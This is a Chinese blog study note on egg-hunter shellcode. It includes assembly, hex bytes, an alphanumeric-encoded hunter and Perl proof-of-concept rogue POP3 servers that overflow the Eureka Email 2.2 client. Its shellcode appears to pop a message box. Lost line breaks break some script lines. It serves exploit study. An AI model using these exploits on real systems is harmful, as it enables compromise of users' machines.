寻蛋技术是 Staged shellcode 技术的一种

寻蛋 是利用一小段代码 来在内存中寻找真正的(代码尺寸较大的)shellcode(the  egg)的技术。

也就是是   利用好一小段代码被执行,然后找到真正的shellcode并且执行

3个前置条件:

1)必须能够跳转(jmp call push/ret)并且执行一些shellcode。这时有效的缓冲区内存可以相对小一些,以为这时只需要保存那些寻蛋代码(egg hunter)

寻蛋代码必须被防止在预先设定的位置,这样才能控制代码可靠地跳转到寻蛋代码然后执行寻蛋代码

2)最终要执行shellcode必须在内存的某个位置(堆,栈)存在

3)必须最终要执行的shellcode的前面放置 唯一标识。最初执行的shellcode(寻蛋代码)将逐字节的搜寻内存来寻找这个标识。

找到后jmp call 指令开始执行跟在标志后的代码。

遇到问题: 1 一段时间 CPU 占用   2经过很长时间,shellcode才能开始执行

技术基础:

1)用到的标识是唯一的(通常前4个字节来定义标识,然后把两个连续的标识8字节放在真正的shellcode前面)

2)对于特定的exploit  ,  需要测试哪个内存搜索技术可以工作(eg: NTAccessCheckAndAuditAlarm)

3)  不同的技术需要不同大小的存储空间来存储寻蛋代码:

1 利用SEH 的寻蛋 需要大约60字节,

00401580 >   /EB 21            jmp Xtestexpl.004015A3
00401582     |59               pop ecx
00401583     |B8 70616E64      mov eax,0x646E6170
00401588     |51               push ecx
00401589     |6A FF            push -0x1
0040158B     |33DB             xor ebx,ebx
0040158D     |64:8923          mov dword ptr fs:[ebx],esp
00401590     |6A 02            push 0x2
00401592     |59               pop ecx
00401593     |8BFB             mov edi,ebx
00401595     |F3:AF            repe scas dword ptr es:[edi]
00401597     |75 07            jnz Xtestexpl.004015A0
00401599     |FFE7             jmp edi
0040159B     |66:81CB FF0F     or bx,0xFFF
004015A0     |43               inc ebx
004015A1    ^|EB ED            jmp Xtestexpl.00401590
004015A3     \E8 DAFFFFFF      call testexpl.00401582
004015A8      6A 0C            push 0xC
004015AA      59               pop ecx
004015AB      8B040C           mov eax,dword ptr ss:[esp+ecx]
004015AE      B1 B8            mov cl,0xB8
004015B0      830408 06        add dword ptr ds:[eax+ecx],0x6
004015B4      58               pop eax
004015B5      83C4 10          add esp,0x10
004015B8      50               push eax
004015B9      33C0             xor eax,eax
004015BB      C3               retn

EB 21 59 B8 70 61 6E 64 51 6A FF 33 DB 64 89 23 6A 02 59 8B FB F3 AF 75 07 FF E7 66 81 CB FF 0F
43 EB ED E8 DA FF FF FF 6A 0C 59 8B 04 0C B1 B8 83 04 08 06 58 83 C4 10 50 33 C0 C3

2 利用IsBadReadPtr 需要37字节 ,

3 NtDisplayString 需要32字节(NT核心) 

4 NTAccessCheckAndAuditAlarm寻蛋

L000:or dx,0xFFF
L001:inc edxpush edxpush 0x43                 ;这里0x43则表示使用NtDisplayString 0x2 表示NtAccessCheckAndAuditAlarmpop eaxint 0x2Ecmp al,0x5                ;check 0xc0000005 == ACCESS_VIOLATIONpop edxje L000mov eax,0x50905090        ;this is the eggmov edi,edxscas dword ptr es:[edi]jnz L001scas dword ptr es:[edi]jnz L001jmp edi

66 81 CA FF 0F 42 52 6A 0258 CD 2E 3C 05 5A 74 EF B8 70 61 6e 64 8B FA AF 75 EA AF 75 E7 FF E7
\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x70\x61\x6e\x64\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7

70 61 6E 64   ->   pand

具体采用哪种寻蛋方案 主要取决于: 1 运行寻蛋代码所需要的 缓冲区大小    2你需要测试选用的搜索内存的技术是否能在您的机器上和你要利用的exploit上正常工作

什么情况下用这种技术呢?   1)我们插入shellcode  某一部分变了,2)不知道要NOP多少字节才放入shellcode


!mona egg -t pand

产生  egg hunter code

举个例子: eureka-email   Version 2.2

pop3简介:  http://baike.baidu.com/view/5404.htm?fr=aladdin#3_7

软件  下载地址:  http://www.eureka-email.com/VersionHistory.html

配置如下:

普通的POC (没有任何阻力的情况下):

use Socket;#Log data, 条目 109
#地址=7DCFD8E4
#消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dllmy $junk="\x41" x 709;my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an addressmy $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C".
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53".
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B".
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95".
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59".
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A".
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75".
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03".
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB".
"\x53".
"\x68\x64\x61\x30\x23".
"\x68\x23\x50\x61\x6E".
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");my $payload=$junk.$ret.$shellcode;my $port = 110;
my $proto = getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr = sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listenning on tcp port 110 [POP3]... \n";
print "Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
if ($client_addr = accept(CLIENT,SERVER))
{print "[+] Client Connected.\n";while (1) {
#POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,
#例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证print CLIENT "-ERR".$payload."\n";print "    ->Sent ".length($payload)." bytes\n";}
}
close CLIENT;
print "Connection closed\n";

今天要主要的内容 构造的POC如下:

如果shellcode 的地址会变 或者shellcode大小 很小,那么就要用到今天学习的  egg hunting 技术了

简单egghunting 如下:

还有漏洞的: 这里shellcode因为在 .data 所以可以搜索到,如果shellcode在堆呢 ,edx太大直接就跳过搜索shellcode的位置了

use Socket;#Log data, 条目 109
#地址=7DCFD8E4
#消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dllmy $junk="\x41" x 709;my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an addressmy $egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A". "\x02"."\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"."\x70\x61\x6e\x64"."\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7");my $padding = "\x42"x 1000;my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C".
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53".
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B".
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95".
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59".
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A".
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75".
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03".
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB".
"\x53".
"\x68\x64\x61\x30\x23".
"\x68\x23\x50\x61\x6E".
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");my $payload=$junk.$ret.$egghunter.$padding."pandpand".$shellcode;my $port = 110;
my $proto = getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr = sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listenning on tcp port 110 [POP3]... \n";
print "Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
if ($client_addr = accept(CLIENT,SERVER))
{print "[+] Client Connected.\n";while (1) {
#POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,
#例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证print CLIENT "-ERR".$payload."\n";print "    ->Sent ".length($payload)." bytes\n";}
}
close CLIENT;
print "Connection closed\n";

不停把 edx作为寻找的地址  进行递加,然后搜索  pandpand 两个蛋

(漏洞: 这里shellcode因为在 .data 所以可以搜索到,如果shellcode在堆呢 ,edx太大直接就跳过搜索shellcode的位置了,

直接调整搜索位置在 彩蛋前面一点,然才开始搜索就行了)

找到 两个蛋后,将蛋后面的shellcode 地址放入edx,最后jmp edx

有漏洞的地方总结:

1)遇到  搜索位置在彩蛋之后,

2)内存中有多份拷贝,有些拷贝损坏了(毕竟只检查前面8字节而已)

那么就需要修改  or dx,0xFFF ,使得搜索位置变为 彩蛋之前就行了

下面学习 给 

Egghunter 加密解密  去除掉bad characters:

这里选用  NtDisplayString /   NtAccessCheckAndAuditAlarm 进行编码

L000:or dx,0xFFF
L001:inc edxpush edxpush 0x43                 ;这里0x43则表示使用NtDisplayString 0x2 表示NtAccessCheckAndAuditAlarmpop eaxint 0x2Ecmp al,0x5                ;check 0xc0000005 == ACCESS_VIOLATIONpop edxje L000mov eax,0x50905090        ;this is the eggmov edi,edxscas dword ptr es:[edi]jnz L001scas dword ptr es:[edi]jnz L001jmp edi

可以平均分为 4个字节

66 81 CA FF

0F 42 52 6A

02 58 CD 2E

3C 05 5A 74

EF B8 70 61 

6e 64 8B FA

AF 75 EA AF

75 E7 FF E7

以最后一行进行编码:
75 e7 ff e7  翻转-》 e7 ff e7 75 反码-》18 00 18 8b  (0减去它)
然后找出3个数的和等于 反码 并且只用到 \x40 \x3f \x3a \x2f 4个字母 以外的 ascii-printable 字符
找到的3个值就是用在 sub eax,<...> 指令中
因为解码的值要被压入栈中,所以要从最后一行开始编码。当最后一个值被压进栈中后,ESP就指向解码后的寻蛋代码的第一个字符
处理第一个字节 这里是 18   3个数和为18 这里需要使和溢出 得到 18  第一个数通常使用 0x55 (85 因为85x 3 =255 溢出  0x20为最小空格   0x7f =127是最大 ascii-printable 字符 ) 和 0x7f之间的值,

可以查询ASCII码表

注意下面的计算式考虑了  溢出进位了的

18-》118     5d + 5d + 5d
00 -> 255     55+ 55 + 55
18 -> 118    5d + 5d + 5e
8b                 30 +  30 + 2b
sub eax,0x5d555d30
sub eax,0x5d555d30
sub eax,0x5d555e2b  // 三个数相加 等于   11800188B   也就是in dword   1800188B
倒数第二行:  af 75 ea af -> af ea 75 af  -> 50 15 8a 51
50 -》 70 + 70 + 6f
15 -> 115 ->5c + 5c + 5d
8a ->  2e + 2e + 2d
51 ->  70 + 70 + 71
sub eax,0x705c2e70
sub eax,0x705c2e70
sub eax,0x6f5d2d71   //三个数相加 等于 150158a51  也就是 150158a51
倒数第三行:  6e 64 8B FA  -> fa 8b 64 6e -> 05 74 9b 92
05 ->105  -> 57 + 57 +56
74 -> 174 -> 7c + 7c + 7c
9b ->              33+33 +35
92 ->               30+30+32
sub eax,0x577c3330
sub eax,0x577c3330
sub eax,0x567c3532 //三个数相加 等于 105749b92 -> 05749b92
倒数第四行:ef b8 70 61 -> 61 70 b8 ef -> 9e 8f 47 11
9e ->              34 + 34 + 36
8f ->               2f + 2f +30
47 ->147->   6d + 6d + 6c
11 -> 111 -> 5b + 5b + 5b
sub eax,0x342f6d5b
sub eax,0x342f6d5b
sub eax,0x36306c5b // 三个数相加 等于 9e8f 4711
倒数第五行: 3c 05 5a 74 -> 74 5a 05 3c -> 8b a5  fa c4
sub eax,0x30305342
sun eax,0x30305341
sub eax.0x2b455441//三个数相加等于8b a5  fa c4
倒数第六行: 02 58 CD 2E -> 2e cd 58 02 -> d1 32 a7 fe
sub eax,0x46663054
sub eax,0x46663055
sub eax,0x44664755 //三个数相加等于   d132a7fe
倒数第七行: 0F 42 52 6A -> 6a 52 42 0f -> 95 ad bd f1
sub eax,0x31393e50
sub eax,0x32393e50
sub eax,323b4151
最后一行:
sub eax,0x55703533
sub eax,0x55702533
sub eax,0x55552434
上面这些代码块前面还要放置 把 eax清0 的代码
and eax,554e4d4a
and eax,2a313235 // 也就是7f7f7f7f   两个5字节指令    (25 4A 4D 4E 55 25 35 32 31 2A)

每个块前面还必须增加 push eax,把结果压栈

每个块大小为  10(eax清零) + 15(用于解码)+ 1(push eax ) = 26 字节  8个块 占用208字节

将  egg hunter 放入  栈中,它自己本身马上要运行到栈地址了 下面为上面的二进制码

25 4A 4D 4E 55 25 35 32 31 2A 2D 30 5D 55 5D 2D 30 5D 55 5D 2D 2B 5E 55 5D 50 25 4A 4D 4E 55 25
35 32 31 2A 2D 70 2E 5C 70 2D 70 2E 5C 70 2D 71 2D 5D 6F 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 30
33 7C 57 2D 30 33 7C 57 2D 32 35 7C 56 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 5B 6D 2F 34 2D 5B 6D
2F 34 2D 5B 6C 30 36 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 42 53 30 30 2D 41 53 30 30 2D 41 54 45
2B 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 54 30 66 46 2D 55 30 66 46 2D 55 47 66 44 50 25 4A 4D 4E
55 25 35 32 31 2A 2D 50 3E 39 31 2D 50 3E 39 32 2D 51 41 3B 32 50 25 4A 4D 4E 55 25 35 32 31 2A
2D 33 35 70 55 2D 33 25 70 55 2D 34 24 55 55 50

这里会遇到  edx 过大 跳过了 shellcode的情况

再加一条  and  edx,0     还要注意 长度    POC:

use Socket;  #Log data, 条目 109
#地址=7DCFD8E4
#消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dll  my $junk="\x41" x 709;  my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an address  my $egghunter = ("\x61\x61\x61\x61\x61\x61\x61\x61".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x30\x5D\x55\x5D".
"\x2D\x30\x5D\x55\x5D".
"\x2D\x2B\x5E\x55\x5D".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x70\x2E\x5C\x70".
"\x2D\x70\x2E\x5C\x70".
"\x2D\x71\x2D\x5D\x6F".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x30\x33\x7C\x57".
"\x2D\x30\x33\x7C\x57".
"\x2D\x32\x35\x7C\x56".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x5B\x6D\x2F\x34".
"\x2D\x5B\x6D\x2F\x34".
"\x2D\x5B\x6C\x30\x36".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x42\x53\x30\x30".
"\x2D\x41\x53\x30\x30".
"\x2D\x41\x54\x45\x2B".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x54\x30\x66\x46".
"\x2D\x55\x30\x66\x46".
"\x2D\x55\x47\x66\x44".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x50\x3E\x39\x31".
"\x2D\x50\x3E\x39\x32".
"\x2D\x51\x41\x3B\x32".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".#eax清零
"\x2D\x33\x35\x70\x55".
"\x2D\x33\x25\x70\x55".
"\x2D\x34\x24\x55\x55".
"\x50"."\x83\xE2\x01");  //增加一条and edx,0x1  将edx变小my $padding = "\x42"x 1000;  my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C".
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53".
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B".
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95".
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59".
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A".
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75".
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03".
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB".
"\x53".
"\x68\x64\x61\x30\x23".
"\x68\x23\x50\x61\x6E".
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");  my $payload=$junk.$ret.$egghunter.$padding."pandpand".$shellcode;  my $port = 110;
my $proto = getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr = sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listenning on tcp port 110 [POP3]... \n";
print "Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
if ($client_addr = accept(CLIENT,SERVER))
{  print "[+] Client Connected.\n";  while (1) {
#POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,
#例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证  print CLIENT "-ERR".$payload."\n";  print "    ->Sent ".length($payload)." bytes\n";  }
}
close CLIENT;
print "Connection closed\n";  

要想学习  Unicode 版本的  EGG HUNTING   就去 看看   http://blog.csdn.net/zcc1414/article/details/27363377

下面学习  

Omelet egg hunter````````````

不需要考虑加密代码等,直接分解shellcode即可·············

工具 下载地址:   http://www.mediafire.com/download/q5c0gbi55x91cv2/w32+SEH+omelet+shellcode+v0.2+fixed+by+UND3R.rar

NASM 文件 包括 寻蛋代码      PY脚本 包括拆分  shellcode

nasm.exe -f bin -o w32_omelet.bin w32_SEH_omlet.asm -w+error

w32_SEH_omelet.py "omelet bin file" "shellcode bin file" "output txt file"    [egg size] [marker bytes]

生成的文件包含  omelet egg hunter ,分成小块的需要放在内存某个地方的代码


w32_SEH_omelet.py  w32_omelet.bin shellcode.bin 1.txt    100 0x70616e  //"pan"

$omelet_code = "\x31\xFF\xBB\xFE\xFF\xFF\xFF\xEB\x29\x51\x64\x89\x20\xFC\xB0\x5F\xF2\xAE\x50\x89\xFE\xAD\x35\xFF\x6E\x61\x70\x83\xF8\x02\x77\x12\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\xDE\x31\xC0\x64\xFF\x50\x08";
#最后知道这里要NOP掉前面两个字节  xor edi,edi# These are the eggs that need to be injected into the target process
# for the omelet shellcode to be able to recreate the original shellcode
# (you can insert them as many times as you want, as long as each one is
# inserted at least once). They are 100 bytes each:
$egg0 = "\x5F\xFF\x6E\x61\x70\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06";$egg1 = "\x5F\xFE\x6E\x61\x70\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x64\x61\x30\x23\x68\x23\x50\x61\x6E\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";
#前5个字节包含了  5F = 大小 = 95    索引号 = ff-fe  标记= 6e 61 70 ->0x70616e 头部大小= 95 + 5 = 100
#接下来的字节就是从原始shellcode中抠出来对的,多余字节空间用0x40填充  原来shellcode 168 字节

找寻 shellcode 位置  !mona cmp -f c:\1\egg1.bin

如果完成了就跳转到 下面继续进行················

0012CDC0   31C0                    XOR EAX,EAX
0012CDC2   64:FF50 08              CALL DWORD PTR FS:[EAX+8]

就跳转到  拷贝的字符串 即 组装成的shellcode 去执行```````````

文中所用文件已经从原来的版本中修改过,···原先的文章已经被修改了······只需要NOP掉前两个字节即可

POC:

use Socket;  #Log data, 条目 109
#地址=7DCFD8E4
#消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dll  my $junk="\x41" x 712;  my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an address  my $omelet_code = "\x90\x90\xBB\xFE\xFF\xFF\xFF\xEB\x29\x51\x64\x89\x20\xFC\xB0\x5F\xF2\xAE\x50\x89\xFE\xAD\x35\xFF\x6E\x61\x70\x83\xF8\x02\x77\x12\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\xDE\x31\xC0\x64\xFF\x50\x08";# These are the eggs that need to be injected into the target process
# for the omelet shellcode to be able to recreate the original shellcode
# (you can insert them as many times as you want, as long as each one is
# inserted at least once). They are 100 bytes each:
my $egg0 = "\x5F\xFF\x6E\x61\x70\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06";my $egg1 = "\x5F\xFE\x6E\x61\x70\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x64\x61\x30\x23\x68\x23\x50\x61\x6E\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";
#前5个字节包含了  5F = 大小 = 95    索引号 = ff-fe  标记= 6e 61 70 ->0x70616e 头部大小= 95 + 5 = 100
#接下来的字节就是从原始shellcode中抠出来对的,多余字节空间用0x40填充my $garbage = "This is a bunch of garbage"x10;my $padding = "\x42"x 1000;  my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C".
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53".
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B".
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95".
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59".
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A".
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75".
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03".
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB".
"\x53".
"\x68\x64\x61\x30\x23".
"\x68\x23\x50\x61\x6E".
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");  my $payload=$junk.$ret.$omelet_code.$padding.$egg0.$garbage.$egg1.$garbage.$shellcode;  my $port = 110;
my $proto = getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr = sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listenning on tcp port 110 [POP3]... \n";
print "Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
if ($client_addr = accept(CLIENT,SERVER))
{  print "[+] Client Connected.\n";  while (1) {
#POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,
#例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证  print CLIENT "-ERR".$payload."\n";  print "    ->Sent ".length($payload)." bytes\n";  }
}
close CLIENT;
print "Connection closed\n";  

额外提示:

mona 插件 提示 : 
Message=Want more info about a given command ?  Run !mona help <command>

compare  / cmp   寻找没有被修改的shellcode 备份,并且提示。在这里能用到

这个插件功能与以前学习的 WINDBG插件相比要好用一些

另外还可以 使用  meterpreter   详细查看: 
http://write.blog.csdn.net/postedit/21300395

举个例子: eureka-email   Version 2.2

转载于:https://www.cnblogs.com/zcc1414/p/3982353.html

寻找复活节彩蛋egg huting 学习相关推荐

  1. html5 彩蛋动画,egg.js-趣味复活节彩蛋js插件

    Egg.js是一款非常有趣的复活节彩蛋js插件.该复活节彩蛋插件可以监控用户的键盘输入,当用户输入正确的字母序列的时候,复活节彩蛋会打开,在页面中显示你意想不到的内容. 十二世纪时,人们在复活节节庆中 ...

  2. html制作洋葱皮,洋葱皮作用做漂染复活节彩蛋教程

    复活节彩蛋的制作方法多彩多样,漂亮.有趣,而这款彩蛋采用传统的浸染工艺手工制作的,发挥了洋葱皮的妙用,使用天然环保的洋葱皮作为原材料煮出红色染料,浸染出图案别致的复活节彩蛋. 制作洋葱皮印染鸡蛋需要的 ...

  3. android p 牛轧糖_如何启用Android牛轧糖的猫收集复活节彩蛋

    android p 牛轧糖 One of the more fun parts of getting a new version of Android is discovering the hidde ...

  4. width:calc_开放式办公室的复活节彩蛋:Calc中的游戏入侵者

    width:calc Finding an Easter egg in movies is usually a cool thing, but finding them in software is ...

  5. worm/spybot_周末娱乐:在Spybot中搜索和销毁复活节彩蛋

    worm/spybot It's nice when you find an easter egg in a piece of software and it's actually useful. O ...

  6. android7.1.2彩蛋,在Android 7.0牛轧糖中解锁秘密猫收集复活节彩蛋 | MOS86

    我们已经向您展示了Android 5.0棒棒糖和6.0棉花糖中的Flappy Bird复活节彩蛋,现在我们为Android 7.0牛轧糖提供了一个新彩蛋. 如果您是Android用户,并且您的设备运行 ...

  7. assistant字体_Google Assistant中最好的游戏和复活节彩蛋

    assistant字体 Google Assistant packs a lot of useful voice commands, but then so did Google Now. Assis ...

  8. Android复活节彩蛋集合,4隐藏的Android复活节彩蛋从姜饼到果冻豆 | MOS86

    自Gingerbread之后的Android版本(Android 2.3)已经包括一个复活节彩蛋,它总是以相同的方式访问.最新版本的复活节彩蛋越来越复杂,具有动画和互动性. Android的复活节彩蛋 ...

  9. 有意思的复活节彩蛋[摘]

